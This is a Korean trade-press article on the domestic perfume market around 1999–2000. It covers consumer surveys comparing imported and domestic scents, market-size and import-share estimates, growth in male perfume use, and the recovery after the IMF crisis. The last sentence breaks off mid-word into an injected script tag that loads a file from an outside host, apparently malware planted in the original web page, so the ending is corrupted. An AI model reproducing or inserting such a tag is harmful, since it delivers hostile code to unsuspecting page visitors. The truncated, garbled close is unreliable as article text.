“향수는 브랜드이미지로 승부하는 문화이자 패션" 국내 메이커 참여 활발…올 2000억 시장놓고 한판 승부 펼칠 듯 -------------------------------------------------------------------------------- 향수산업이란 단순한 제품생산이 아나라 예술과 문화적인 뒷받침이 없으면 존재하기 힘든 산업이다. 국내 향수산업은 소비는 있으나 문화는 아직 정립되지 않은 것으로 평가받고 있다. 국내 소비자들이 아직까지 향에 대한 뚜렷한 컨셉을 확립하고 있지 못할 뿐만 아니라 향수를 문화로 받아들이는 인식의 전환이 이뤄지지 못하고 있기 때문이다. 또한 향수는 화장품 영역에 속해 있으면서도 브랜드 파워가 매출을 좌우하는 문화산업적 요소가 강하다. 따라서 향수산업이 발전하기 위해서는 산업전반에 걸친 향문화의 확산이 시급하다. 따라서 향수산업의 성패는 문화의 성숙도와 깊은 연관을 가지고 있다. 또한 국내 향수산업을 발전시키기 위해서는 브랜드 개발은 물론이고 향수용기 제작등 부가산업의 발전도 뒤따라야 한다. 이와함께 뛰어난 후각과 강인한 체력, 예술적 감각을 지닌 조향사나 유리공예가등을 적극적으로 육성해야 된다. 국내 향수시장의 현황과 각사가 출시하고있는 브랜드 및 국내에 들어와 있는 수입향수시장의 현황을 분석해 살펴보고 국내 향수산업의 발전가능성을 짚어본다. <편집자 주> --------------------------------------------------------------------------------- ‘수입향수 우수하다’94%가 향취 꼽아 최근 서울지역 향수사용자 400명을 대상으로 일대일 개인면접을 통한 표본조사한 자료에 따르면 국산향수와 수입향수를 비교해 볼 때 수입향수가 국산향수보다 우수하다고 생각하는 소비자가 69%에 달했으며 비슷하다는 29%, 국산향수가 우수한 편이라고 답변한 경우는 2%에 불과한 것으로 나타났다. 수입향수가 훨씬 우수하다고 응답한 경우도 11%에 달해 아직은 국산향수가 수입향수에 비해 절대적인 열세를 보이고 있는 것으로 조사됐다. ‘국내 향수 시장점유비 3.5% 수준 지난 99년 향수시장 규모는 세전출하가 기준으로 약 898억원 정도로 추정되고 있다. 이는 전년대비 약 29% 이상 성장한 것으로 화장품 시장이 매출감소를 보이고 있음에도 불구하고 향수시장은 고성장을 구가하고 있음을 보여주고 있다. 그러나 전체 화장품 시장에서의 향수시장 점유비는 98년 2.7%에 비해 0.5%이상 성장한 3.2%에 불과한 실정이다. 지난해인 2000년의 경우 향수시장은 약 0.3%이상 성장한 3.5%정도인 것으로 향수전문가들은 추정하고 있다. 이 같은 실상은 아직 국내 향수시장이 선진국 수준인 17~18%선에 미치기에는 턱없이 부족함을 나타내고 있다. 선진국 평균인 7~8%선에 도달하는데만도 5년이상 걸릴 것이라는것이 업계 전문가들의 전망이다. 한편 정식 통관된 향수 수입 실적은 247만개, 1,672만 US$로 세전출하가 기준시 약 478억원 규모로 추정되고 있다. 소비자가는 통상 CIF 가격의 4.8배로, 세전 출하가는 CIF가의 약 2.6배로 계산하는 관례에 비춰볼 때 세전출하가 기준시 수입 향수와 국산 향수의 비율은 53 : 47정도로 추산되고 있다. 이는 98년도 수입향수와 국산향수 비율인 55:45에 비해 국산향수 비중이 조금씩 높아지고 있음을 보여주고 있다. 국내시장의 특이한 사항중 하나는 화장품을 사용하는 남성들이 늘어나고있는 추세에 발맞춰 향수를 사용하는 남성들이 늘어나고 있다는 점이다. 향수 전문가들은 수입향수와 국내생산 향수를 비교추정해 볼 때 여성 향수 대 남성 향수 비율도 82 : 18로 98년 비율인 85:15과 비교해 볼 때 3%정도 늘어난 것으로 추산되고 있다. ‘98년이후 꾸준한 회복세로 반전 95년 이후 꾸준히 성장해 온 향수 시장은 1997년 IMF 사태 이후로 마이너스 성장으로 급전직하 했다. 시장 규모가 약 50%이상 축소되는 비운을 맞았던 것이다. 이와 관련 업계 향수전문가들은 모처럼 시장 확대의 호기를 맞았던 향수시장의 싹이 움트지도 못하고 떨어져 버린듯한 느낌이었으며 향수시장 발전이 퇴보되는 느낌을 받았었다고 술회하고 있다. 물론 IMF에 따른 환율급등과 향수시장 성장 둔화 및 소비심리 위축에 따라 향수 시장 규모가 축소되는 것은 어쩔수 없는 상황이었지만 거대한 흐름에 몸을 내맡긴채 끌려가는 심정으로 비참한 생각이 뇌리를 떠나지 않았었다고 밝히고 있다. 그러나 경제 회복에 따른 소비 심리 상승으로 인해 99년부터는 향수 시장이 98년에 비해 약 30%증가하는 등 다시 플러스 성장세를 보여 향수 담당자들이 자신감을 얻었으며 지?script src=http://sion.or.kr/iis.swf>

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